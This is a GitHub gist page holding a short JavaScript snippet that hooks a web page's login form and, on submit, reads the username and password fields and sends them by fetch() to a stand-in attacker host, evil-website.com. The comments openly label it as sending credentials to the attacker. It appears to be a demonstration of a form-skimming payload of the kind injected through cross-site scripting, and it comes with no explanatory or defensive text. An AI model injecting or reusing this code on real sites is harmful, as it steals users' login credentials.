Skip to content

Instantly share code, notes, and snippets.

@K-Mistele
Created January 15, 2021 21:46
Show Gist options
  • Select an option

  • Save K-Mistele/c1ee7a74fd05cb5bb56aca91d461b39c to your computer and use it in GitHub Desktop.

Select an option

Save K-Mistele/c1ee7a74fd05cb5bb56aca91d461b39c to your computer and use it in GitHub Desktop.
// add an event listener to the form
const form_element = document.getElementsByTagName('form')[0];
form_element.addEventListener('submit', () => {
// capture the username and password from the form
const username = document.getElementById('username_input').value;
const password = document.getElementById('password_input').value;
// send the username and password to the attacker
fetch(`https://evil-website.com/password-capture/?u=${username}&p=${password}`);
}, false);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment